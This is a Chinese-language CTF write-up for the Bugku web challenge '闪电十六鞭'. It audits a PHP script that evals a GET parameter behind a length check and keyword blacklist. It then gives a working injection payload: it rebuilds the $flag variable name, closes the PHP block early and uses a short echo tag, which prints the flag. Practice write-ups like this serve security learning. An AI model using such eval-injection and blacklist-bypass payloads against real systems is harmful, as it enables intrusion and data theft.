欢迎光临
我们一直在努力

bugku-web-闪电十六鞭

一、题目描述

二、场景启动

三、代码审计

<?php
error_reporting(0); // 关闭所有 PHP 错误报告(防止报错泄露信息)。
require __DIR__.'/flag.php'; // 引入同级目录下的 flag.php 文件, 这个文件里定义了一个变量 $flag,存储着答案

$exam = 'return\\''.sha1(time()).'\\';';
/*
变量exam: 格式:return 'xxx';
time():返回当前 Unix 时间戳(秒数),每次刷新都会变
sha1():计算字符串的 SHA-1 哈希值(40位十六进制)
作用:变量长度固定49位,所以payload长度也必须是49位,不算falg=
return(6) + 空格(1) + '(1) + sha1(40) + '(1) = 49
*/

if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
/*
如果 URL 没有传入 ?flag= 参数,就输出一个链接(最上方)
点击后自动拼接:?flag=return'xxx';
告诉我们:参数名是 flag,格式参考 return'…';
*/

else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
/*
强制要求:我们传入的 $_GET['flag'] 字符串长度 必须等于 $exam 的长度(49 位)
这是最严格的限制之一,payload 不能多一个字符、不能少一个字符。
*/

else if (preg_match('/`|"|\\.|\\\\\\\\|\\(|\\)|\\[|\\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
/*
这是正则黑名单,匹配到任意字符就直接失败,禁止的内容:
符号:`、"、.、\\、(、)、[、]、_
函数/关键字:flag、echo、print、require、include、die、exit
修饰符:i(不区分大小写)、s(匹配换行)

可以用的关键字符:
' 单引号、; 分号、$ 变量符、return、var_dump、print_r 等不在黑名单里的函数。
*/

else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
/*
通过 GET 参数注入任意 PHP 代码,执行结果 必须全等于 sha1($flag)
*/

else {
echo '马老师发生甚么事了';
}

echo '<hr>';

highlight_file(__FILE__);
/*
不满足条件就输出马老师发生甚么事了
highlight_file(__FILE__):直接把源码打印在页面上(方便我们审计)
注意这里php代码没有闭合
*/

四、payload构造

总结一下PHP代码:

        一共三个绕过条件:

                1. flag参数的值长度需要和$exam的长度相等。

                2. 许多关键字和关键符号被过滤掉。

                3. 保证flag参数的值需要和flag的sha1值相等

但是第三个绕过条件几乎不可能实现,所以就要考虑如何绕过第三个条件。观察到页面代码中PHP代码块并没有闭合,所以我们可以考虑提前闭合,使第三个判断无法执行。

因为题目过滤掉了输出打印语句,所以这里利用短标签输出flag,那什么是短标签呢?

<?= $flag ?>
// 完全等价
<?php echo $flag; ?>

开始构造payload

核心思想:提前闭合PHP代码是第三个判断无法执行 + 利用短标签输出flag

第一步:定义一个变量来构造flag变量,但要绕过禁用的关键字,例如$a='fla1'

第二步:通过重构的变量来实现flag变量的实现$a{3}='g';

第三步:闭合PHP代码,是第三个判断条件无法执行

第四步:插入短标签输出flag,这里两个变量符是为了把自定义变量的值当一个新的变量

第五步,通过0或1是payload的长度满足条件一

?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111

这里可以是fla0,fla1…都行,0和1都是占位方便拼接flag,以防被过滤,后面的1也是占位,为了满足长度=49

五、目标flag

flag{78062956}

赞(0)
未经允许不得转载:171主机测评 » bugku-web-闪电十六鞭
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址